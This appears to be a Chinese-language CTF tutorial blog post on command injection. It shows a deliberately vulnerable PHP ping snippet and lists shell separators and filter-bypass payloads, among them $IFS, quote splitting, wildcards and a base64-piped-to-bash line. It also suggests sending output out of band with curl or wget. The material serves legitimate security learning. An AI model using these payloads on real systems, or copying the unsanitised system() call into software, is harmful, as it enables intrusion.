CTF命令注入完全指南:原理、绕过技巧与练习平台推荐

ctf-learning ~ web-security
$ whoami → CTF 初学者  |  目标:理解命令注入
CTF 命令注入:
从零开始的学习指南

命令注入(Command Injection)是 CTF Web 题里出现频率最高的漏洞类型之一。理解它,是进入 Web 安全领域的必经之路。本文讲清楚原理、常见绕过思路,以及在哪里练习。

⚠ 学习声明

本文所有内容仅用于 CTF 竞赛学习和安全教育。命令注入技术只能在合法授权的环境(CTF 平台、自建靶机)中练习。未经授权对真实系统测试属于违法行为。

# 命令注入是什么

命令注入发生在一个场景里:Web 应用把用户的输入,拼接进了系统命令。系统命令被执行,用户输入的恶意部分也跟着执行了。

最简单的例子是一个”ping 工具”页面。你输入 IP 地址,服务器帮你 ping,然后返回结果。代码可能长这样:

后端代码示例(存在漏洞) PHP
// 用户输入直接拼接进系统命令 ← 危险
$ip = $_GET[‘ip’];
system(“ping -c 1 “ . $ip);

// 正常输入:
// ping -c 1 127.0.0.1

// 攻击者输入 “127.0.0.1; ls” 后变成:
// ping -c 1 127.0.0.1 ; ls

分号 ; 是 Linux/Unix 里的命令分隔符。一行里写两个命令,两个都会执行。攻击者用这个特性,在合法命令后面附加自己想执行的命令。

# 常用的分隔符和绕过符号

CTF 题目里,服务器端通常会过滤一些常见字符。你需要知道不同的分隔符,以及怎么在过滤的情况下找到替代方案。

命令分隔符一览 Linux Shell
; # 顺序执行,前一条无论成功与否都执行下一条
&& # 前一条成功才执行下一条
|| # 前一条失败才执行下一条
| # 管道,把前一条的输出传给下一条
`cmd` # 反引号,在字符串里内嵌执行命令
$(cmd) # 命令替换,效果同反引号,更推荐
%0a # URL 编码的换行符,有时可绕过过滤
# 常见过滤和绕过思路

CTF 出题人通常会加过滤。遇到过滤,不是死路,是要找绕过方法。

过滤场景与绕过示例 绕过技巧
# 场景 1:过滤了空格
cat flag → 被拦截
cat${IFS}flag # 用 $IFS 代替空格
cat<flag # 输入重定向也能读文件

# 场景 2:过滤了关键字,比如 “cat” “flag”
ca”t fla”g # 插入空字符串拆断关键词
c\at fl\ag # 反斜杠转义不影响执行
echo “ZmxhZw==” | base64 -d | bash # base64 编码绕过

# 场景 3:黑名单字符较多,尝试通配符
/???/??t /???/fl?g # ? 匹配任意单个字符
# 拿到 Flag 的思路步骤

在 CTF Web 命令注入题里,通常的流程是这样的:

01
确认注入点
先测试 ; 或 |,看有没有报错或者回显变化。能执行 id 或 whoami 就说明注入成立。
02
探索目录
用 ls、ls /、ls /home 找 flag 文件在哪。CTF 里通常叫 flag、flag.txt 或 flag.php。
03
读取文件
用 cat、tac(反向输出)、more、head 读内容。如果 cat 被过滤,这些都是替代选项。
04
处理无回显的情况
如果页面没有命令输出,尝试带外(OOB):把结果通过 curl 或 wget 发到自己控制的服务器(用 webhook.site 或 requestbin)。
# 去哪里练习

学命令注入,最快的方式是做真实题目。这三个平台都有免费的 Web 安全练习环境:

NSSCTF
国内主流 CTF 平台,题库丰富,有专门的命令注入分类题,中文界面友好。
BUUCTF
北京联合大学的 CTF 平台,收录了大量历年赛题,命令注入题目质量高。
PortSwigger Web Security Academy
Burp Suite 官方出品,OS Command Injection 模块有完整的由浅到深实验室,英文,免费。

每道题做完,建议写一份简单的 writeup。记录你用了什么 payload、遇到了什么过滤、怎么绕过的。写下来之后,下次遇到类似的题,思路会快很多。


CTF 命令注入 Web 安全 CTF Web Shell 注入 网络安全学习 NSSCTF CTF 入门

Leave a Comment

Your email address will not be published. Required fields are marked *